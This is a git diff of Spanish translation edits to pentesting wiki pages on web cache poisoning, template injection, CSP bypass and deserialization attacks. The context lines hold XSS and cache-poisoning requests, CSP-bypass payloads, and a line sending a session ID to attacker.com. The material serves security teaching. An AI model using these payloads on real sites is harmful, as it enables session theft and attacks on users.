la Respuesta Contaminada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché esté contaminada recibirá la respuesta contaminada. +3. **Asegurar que la Respuesta Envenenada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché está envenenada recibirá la respuesta contaminada. ### Descubrimiento: Verificar encabezados HTTP -Por lo general, cuando una respuesta fue **almacenada en la caché**, habrá un **encabezado que lo indique**, puedes verificar qué encabezados debes tener en cuenta en esta publicación: [**Encabezados de caché HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Por lo general, cuando una respuesta fue **almacenada en la caché**, habrá un **encabezado que lo indique**, puedes verificar qué encabezados debes tener en cuenta en esta publicación: [**Encabezados de Caché HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). ### Descubrimiento: Códigos de error de caché @@ -38,7 +38,7 @@ Sin embargo, ten en cuenta que **a veces estos tipos de códigos de estado no se ### Descubrimiento: Identificar y evaluar entradas no claveadas Podrías usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **fuerza bruta de parámetros y encabezados** que pueden estar **cambiando la respuesta de la página**. Por ejemplo, una página puede estar utilizando el encabezado `X-Forwarded-For` para indicar al cliente que cargue el script desde allí: -```markup +```html ``` ### Elicitar una respuesta dañina del servidor back-end @@ -52,7 +52,7 @@ Una vez que hayas **identificado** la **página** que puede ser abusada, qué ** La cabecera **`X-Cache`** en la respuesta podría ser muy útil ya que puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está en caché.\ La cabecera **`Cache-Control`** también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché nuevamente: `Cache-Control: public, max-age=1800` -Otra cabecera interesante es **`Vary`**. Esta cabecera se utiliza a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico. +Otra cabecera interesante es **`Vary`**. Esta cabecera se usa a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico. Una cabecera más relacionada con la caché es **`Age`**. Define el tiempo en segundos que el objeto ha estado en la caché del proxy. @@ -64,7 +64,7 @@ Al almacenar en caché una solicitud, ten **cuidado con las cabeceras que usas** Una cabecera como `X-Forwarded-For` se está reflejando en la respuesta sin sanitizar.\ Puedes enviar una carga útil básica de XSS y envenenar la caché para que todos los que accedan a la página sean XSSed: -```markup +```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" @@ -80,7 +80,7 @@ cache-poisoning-to-dos.md ### Usando el envenenamiento de caché web para explotar vulnerabilidades en el manejo de cookies Las cookies también podrían reflejarse en la respuesta de una página. Si puedes abusar de esto para causar un XSS, por ejemplo, podrías ser capaz de explotar XSS en varios clientes que cargan la respuesta de caché maliciosa. -```markup +```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" @@ -108,7 +108,7 @@ cache-poisoning-via-url-discrepancies.md ### Usando múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web A veces necesitarás **explotar varias entradas no claveadas** para poder abusar de una caché. Por ejemplo, puedes encontrar un **redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde se apunta la página por el redireccionamiento. -```markup +```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ @@ -117,7 +117,7 @@ X-Forwarded-Scheme: http ### Explotando con un encabezado `Vary` limitado Si descubres que el **`X-Host`** se está utilizando como **nombre de dominio para cargar un recurso JS** pero el encabezado **`Vary`** en la respuesta indica **`User-Agent`**. Entonces, necesitas encontrar una manera de exfiltrar el User-Agent de la víctima y envenenar la caché utilizando ese user agent: -```markup +```html GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM @@ -125,7 +125,7 @@ X-Host: attacker.com ``` ### Fat Get -Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena en caché la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que James Kettle encontró en el sitio web de Github: +Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que James Kettle encontró en el sitio web de Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -144,11 +144,11 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo ### Explotación de la Poisoning de Caché HTTP abusando del HTTP Request Smuggling -Aprende aquí cómo realizar [ataques de Cache Poisoning abusando del HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). +Aprende aquí cómo realizar [ataques de Cache Poisoning abusando del HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). -### Pruebas automatizadas para la Poisoning de Caché Web +### Pruebas Automatizadas para Cache Poisoning -El [Escáner de Vulnerabilidades de Caché Web](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) se puede usar para probar automáticamente la poisoning de caché web. Soporta muchas técnicas diferentes y es altamente personalizable. +El [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) se puede usar para probar automáticamente la poisoning de caché web. Soporta muchas técnicas diferentes y es altamente personalizable. Ejemplo de uso: `wcvs -u example.com` @@ -164,11 +164,11 @@ Enviar un valor incorrecto en el encabezado content-type activó una respuesta 4 ### GitLab + GCP CP-DoS -GitLab utiliza buckets de GCP para almacenar contenido estático. **Los Buckets de GCP** soportan el **encabezado `x-http-method-override`**. Así que era posible enviar el encabezado `x-http-method-override: HEAD` y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podría soportar el método `PURGE`. +GitLab utiliza buckets de GCP para almacenar contenido estático. **GCP Buckets** soporta el **encabezado `x-http-method-override`**. Así que era posible enviar el encabezado `x-http-method-override: HEAD` y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podría soportar el método `PURGE`. -### Middleware Rack (Ruby on Rails) +### Rack Middleware (Ruby on Rails) -En aplicaciones Ruby on Rails, a menudo se utiliza middleware Rack. El propósito del código Rack es tomar el valor del encabezado **`x-forwarded-scheme`** y establecerlo como el esquema de la solicitud. Cuando se envía el encabezado `x-forwarded-scheme: http`, ocurre una redirección 301 a la misma ubicación, lo que puede causar una Denegación de Servicio (DoS) a ese recurso. Además, la aplicación podría reconocer el encabezado `X-forwarded-host` y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que representa un riesgo de seguridad. +En aplicaciones Ruby on Rails, a menudo se utiliza Rack middleware. El propósito del código Rack es tomar el valor del encabezado **`x-forwarded-scheme`** y establecerlo como el esquema de la solicitud. Cuando se envía el encabezado `x-forwarded-scheme: http`, ocurre una redirección 301 a la misma ubicación, lo que puede causar una Denegación de Servicio (DoS) a ese recurso. Además, la aplicación podría reconocer el encabezado `X-forwarded-host` y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que representa un riesgo de seguridad. ### 403 y Buckets de Almacenamiento @@ -192,7 +192,7 @@ El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los carac ## Decepción de Caché -El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que se van a guardar en la caché con su información sensible**. +El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que van a ser guardados por la caché con su información sensible**. Primero que nada, ten en cuenta que **extensiones** como `.css`, `.js`, `.png`, etc. suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios. @@ -209,9 +209,9 @@ Otro ejemplo muy claro se puede encontrar en este informe: [https://hackerone.co En el ejemplo, se explica que si cargas una página inexistente como _http://www.example.com/home.php/non-existent.css_, el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) se devolverá y el servidor de caché guardará el resultado.\ Luego, el **atacante** puede acceder a _http://www.example.com/home.php/non-existent.css_ en su propio navegador y observar la **información confidencial** de los usuarios que accedieron antes. -Ten en cuenta que el **proxy de caché** debe estar **configurado** para **almacenar en caché** archivos **basados** en la **extensión** del archivo (_.css_) y no basarse en el tipo de contenido. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un tipo de contenido `text/html` en lugar de un tipo MIME `text/css` (que es el esperado para un archivo _.css_). +Ten en cuenta que el **proxy de caché** debe estar **configurado** para **almacenar en caché** archivos **basados** en la **extensión** del archivo (_.css_) y no basarse en el content-type. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un content-type de `text/html` en lugar de un tipo MIME `text/css` (que es el esperado para un archivo _.css_). -Aprende aquí cómo realizar [ataques de Decepción de Caché abusando del HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). +Aprende aquí cómo realizar [ataques de Decepción de Caché abusando del HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). ## Herramientas Automáticas diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 84cf48ab6..9a18b5e94 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -31,7 +31,7 @@ Puedes encontrar una **implementación vulnerable de Vue** en [https://vue-clien Carga útil funcional: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`]() Y el **código fuente** del ejemplo vulnerable aquí: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) -```markup +```html ">
aaa
``` diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 510bcbc05..dba685cfe 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,11 +4,11 @@ ## What is CSP -La Política de Seguridad de Contenidos (CSP) se reconoce como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en cadena a través de funciones como `eval`, `setTimeout` o `setInterval`. +La Política de Seguridad de Contenidos (CSP) se reconoce como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`. La implementación de CSP se lleva a cabo a través de **encabezados de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada. -- Implementado a través del encabezado de respuesta: +- Implemented via response header: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` @@ -88,7 +88,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' /> ``` -- `'sha256-'`: Permite scripts con un hash sha256 específico. +- `'sha256-'`: Permite scripts con un hash sha256 específico en la lista blanca. - `'strict-dynamic'`: Permite cargar scripts de cualquier fuente si ha sido autorizado por un nonce o hash. - `'host'`: Especifica un host específico, como `example.com`. - `https:`: Restringe las URL a aquellas que utilizan HTTPS. @@ -133,7 +133,7 @@ Si puedes de alguna manera hacer que un **código JS permitido cree una nueva et Content-Security-Policy: script-src 'self' https://google.com https: data *; ``` Carga útil funcional: -```markup +```html "/>'> "/>'> ``` @@ -144,7 +144,7 @@ Carga útil funcional: Content-Security-Policy: script-src 'self' ; ``` Cargas útiles: -```markup +```html ">'> @@ -156,14 +156,14 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ; Si puedes subir un archivo JS, puedes eludir esta CSP: Carga útil funcional: -```markup +```html "/>'> ``` Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir determinados tipos de archivos**. Además, incluso si pudieras subir un **código JS dentro** de un archivo con una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***. -A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crear un poliglota ([algunos ejemplos de poliglota aquí](https://github.com/Polydet/polyglot-database)). +A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crea un poliglota ([algunos ejemplos de poliglota aquí](https://github.com/Polydet/polyglot-database)). ### Form-action @@ -200,8 +200,8 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a #### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): > [!NOTE] -> El post muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitidas), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**. -```markup +> El post muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**. +```html
@@ -275,7 +275,7 @@ Es posible abusar de Google Apps Script para recibir información en una página Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; ``` Escenarios como este donde `script-src` está configurado en `self` y un dominio particular que está en la lista blanca pueden ser eludidos usando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, carga útil en funcionamiento: -```markup +```html "> "> ``` @@ -295,7 +295,7 @@ Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-co | Entidad | Dominio Permitido | Capacidades | | ------------------ | ------------------------------------------- | ------------ | | Facebook | www.facebook.com, \*.facebook.com | Exfil | -| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | +| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | | Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec | | Amazon CloudFront | \*.cloudfront.net | Exfil, Exec | | Amazon AWS | \*.amazonaws.com | Exfil, Exec | @@ -368,7 +368,7 @@ Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la bas ``` ### AngularJS events -Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como una alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que hace referencia al objeto de evento nativo del navegador. Este objeto `$event` puede ser explotado para eludir el CSP. Notablemente, en Chrome, el objeto `$event/event` posee un atributo `path`, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox. +Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como una alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que hace referencia al objeto de evento nativo del navegador. Este objeto `$event` puede ser explotado para eludir la CSP. Notablemente, en Chrome, el objeto `$event/event` posee un atributo `path`, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox. Al dirigir este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para activar una función global como `alert()`. El fragmento de código demostrado a continuación elucida este proceso: ```xml @@ -385,7 +385,7 @@ Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none ``` Una política de CSP que permite dominios para la carga de scripts en una aplicación Angular JS puede ser eludida a través de la invocación de funciones de callback y ciertas clases vulnerables. Más información sobre esta técnica se puede encontrar en una guía detallada disponible en este [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22). -Payloads funcionales: +Cargas útiles: ```html ng-app"ng-csp ng-click=$event.view.alert(1337)> @@ -393,7 +393,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **vulnerable** **callback** que **elude el CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\ +Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y porque WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **vulnerable** **callback** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\ Para más información sobre cómo realizar este ataque consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses @@ -643,7 +643,7 @@ document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag -Podrías redirigir inyectando una meta tag (esto es solo una redirección, esto no filtrará contenido) +Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, esto no filtrará contenido) ```html ``` diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 8efc98849..5fcf756d9 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -4,11 +4,11 @@ ## Información Básica -**Serialización** se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda ser recreado en un momento posterior, manteniendo su estructura y estado. +**La serialización** se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda ser recreado en un momento posterior, manteniendo su estructura y estado. -**Deserialización**, por el contrario, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto. +**La deserialización**, por el contrario, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto. -La deserialización puede ser peligrosa porque potencialmente **permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto. +La deserialización puede ser peligrosa porque **potencialmente permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto. ## PHP @@ -322,14 +322,14 @@ En Java, **los callbacks de deserialización se ejecutan durante el proceso de d Para identificar posibles vulnerabilidades de serialización en la base de código, busca: - Clases que implementen la interfaz `Serializable`. -- Uso de `java.io.ObjectInputStream`, funciones `readObject`, `readUnshared`. +- Uso de `java.io.ObjectInputStream`, `readObject`, `readUnshare` funciones. Presta especial atención a: - `XMLDecoder` utilizado con parámetros definidos por usuarios externos. - El método `fromXML` de `XStream`, especialmente si la versión de XStream es menor o igual a 1.46, ya que es susceptible a problemas de serialización. - `ObjectInputStream` acoplado con el método `readObject`. -- Implementación de métodos como `readObject`, `readObjectNodData`, `readResolve` o `readExternal`. +- Implementación de métodos como `readObject`, `readObjectNodData`, `readResolve`, o `readExternal`. - `ObjectInputStream.readUnshared`. - Uso general de `Serializable`. @@ -348,7 +348,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA ``` ### Verificar si es vulnerable -Si quieres **aprender cómo funciona un exploit de deserialización en Java** deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga Útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). +Si quieres **aprender cómo funciona un exploit de deserialización en Java**, deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga Útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). #### Prueba de Caja Blanca @@ -377,7 +377,7 @@ También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **det **Prueba de Serialización** No todo se trata de verificar si alguna biblioteca vulnerable es utilizada por el servidor. A veces podrías ser capaz de **cambiar los datos dentro del objeto serializado y eludir algunas verificaciones** (quizás otorgándote privilegios de administrador dentro de una aplicación web).\ -Si encuentras un objeto serializado de Java siendo enviado a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto de serialización que se envía**. Saber qué datos estás enviando facilitaría modificarlos y eludir algunas verificaciones. +Si encuentras un objeto serializado de Java siendo enviado a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto de serialización que se envía**. Saber qué datos estás enviando facilitaría su modificación y eludir algunas verificaciones. ### **Explotar** @@ -461,7 +461,7 @@ Puedes **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollecti [**marshalsec** ](https://github.com/mbechler/marshalsec) se puede usar para generar payloads para explotar diferentes **Json** y **Yml** bibliotecas de serialización en Java.\ Para compilar el proyecto, necesitaba **agregar** estas **dependencias** a `pom.xml`: -```markup +```html javax.activation activation @@ -486,18 +486,18 @@ Lee más sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blo ### Labs -- Si quieres probar algunos payloads de ysoserial, puedes **ejecutar esta webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) +- Si quieres probar algunos payloads de ysoserial puedes **ejecutar esta webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) ### Why Java utiliza mucha serialización para varios propósitos como: -- **HTTP requests**: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc. +- **Solicitudes HTTP**: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc. - **RMI (Remote Method Invocation)**: El protocolo RMI de Java, que se basa completamente en la serialización, es un pilar para la comunicación remota en aplicaciones Java. -- **RMI over HTTP**: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, utilizando la serialización para todas las comunicaciones de objetos. +- **RMI sobre HTTP**: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, utilizando la serialización para todas las comunicaciones de objetos. - **JMX (Java Management Extensions)**: JMX utiliza la serialización para transmitir objetos a través de la red. -- **Custom Protocols**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo que se demostrará en ejemplos de explotación próximos. +- **Protocolos personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo cual se demostrará en ejemplos de explotación próximos. ### Prevention @@ -554,7 +554,7 @@ Proporciona una forma de asegurar la deserialización de manera dinámica, ideal Consulta un ejemplo en [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) -**Implementación de Filtros de Serialización**: Java 9 introdujo filtros de serialización a través de la **`ObjectInputFilter`** interface, proporcionando un mecanismo poderoso para especificar criterios que los objetos serializados deben cumplir antes de ser deserializados. Estos filtros se pueden aplicar globalmente o por flujo, ofreciendo un control granular sobre el proceso de deserialización. +**Implementación de Filtros de Serialización**: Java 9 introdujo filtros de serialización a través de la interfaz **`ObjectInputFilter`**, proporcionando un mecanismo poderoso para especificar criterios que los objetos serializados deben cumplir antes de ser deserializados. Estos filtros se pueden aplicar globalmente o por flujo, ofreciendo un control granular sobre el proceso de deserialización. Para utilizar filtros de serialización, puedes establecer un filtro global que se aplique a todas las operaciones de deserialización o configurarlo dinámicamente para flujos específicos. Por ejemplo: ```java @@ -585,8 +585,7 @@ ObjectInputFilter.Config.setSerialFilter(filter); - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Deserialización de Java y .Net **documento:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) -- CVEs de deserialización: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) +- Deserializaciones CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## Inyección JNDI & log4Shell @@ -610,7 +609,7 @@ Hay varios productos que utilizan este middleware para enviar mensajes: ### Explotación -Entonces, básicamente hay un **montón de servicios que utilizan JMS de manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías ser capaz de enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\ +Entonces, básicamente hay un **montón de servicios que utilizan JMS de manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\ Esto significa que en esta explotación todos los **clientes que vayan a usar ese mensaje se infectarán**. Debes recordar que incluso si un servicio es vulnerable (porque está deserializando de manera insegura la entrada del usuario), aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad. @@ -626,7 +625,7 @@ La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para ** En el contexto de .Net, los exploits de deserialización operan de manera similar a los encontrados en Java, donde se explotan gadgets para ejecutar código específico durante la deserialización de un objeto. -### Huella Digital +### Huella #### WhiteBox @@ -649,9 +648,9 @@ Si deseas aprender sobre **cómo ysoserial.net crea su exploit**, puedes [**cons Las principales opciones de **ysoserial.net** son: **`--gadget`**, **`--formatter`**, **`--output`** y **`--plugin`.** -- **`--gadget`** se usa para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialización para ejecutar comandos). -- **`--formatter`**, se usa para indicar el método para serializar el exploit (necesitas saber qué biblioteca está utilizando el backend para deserializar la carga y usar la misma para serializarla). -- **`--output`** se usa para indicar si deseas el exploit en **crudo** o **codificado en base64**. _Ten en cuenta que **ysoserial.net** **codificará** la carga utilizando **UTF-16LE** (codificación utilizada por defecto en Windows), así que si obtienes el crudo y simplemente lo codificas desde una consola de linux, podrías tener algunos **problemas de compatibilidad de codificación** que impedirán que el exploit funcione correctamente (en la caja JSON de HTB, la carga funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará)._ +- **`--gadget`** se utiliza para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialización para ejecutar 